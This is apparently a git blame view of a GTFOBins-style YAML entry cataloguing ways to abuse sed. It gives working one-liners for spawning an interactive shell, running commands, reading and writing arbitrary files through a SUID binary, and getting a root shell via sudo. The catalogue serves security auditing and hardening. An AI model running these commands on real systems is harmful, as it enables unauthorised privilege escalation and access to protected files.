2018-06-12 16:06:16 +02:00
|
|
|
---
|
|
|
|
functions:
|
2018-06-13 12:01:25 +02:00
|
|
|
execute-interactive:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: GNU version only. Also, this requires `bash`.
|
|
|
|
code: sed -n "1e bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
|
2018-06-13 16:00:47 +02:00
|
|
|
execute-non-interactive:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: GNU version only.
|
|
|
|
code: sed -n "1e id" /etc/hosts
|
2018-06-13 12:01:25 +02:00
|
|
|
file-write:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
LFILE=file_to_write
|
|
|
|
sed -n "1s/.*/data/w $LFILE" /etc/hosts
|
2018-07-04 20:26:52 +02:00
|
|
|
file-read:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
LFILE=file_to_read
|
|
|
|
sed '' "$LFILE"
|
2018-07-04 20:26:52 +02:00
|
|
|
suid-enabled:
|
2018-07-16 15:01:50 +02:00
|
|
|
- code: |
|
|
|
|
LFILE=file_to_read
|
|
|
|
./sed -e '' "$LFILE"
|
2018-07-04 20:26:52 +02:00
|
|
|
sudo-enabled:
|
2018-07-16 15:01:50 +02:00
|
|
|
- description: GNU version only. Also, this requires `bash`.
|
|
|
|
code: sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
|
2018-06-12 16:06:16 +02:00
|
|
|
---
|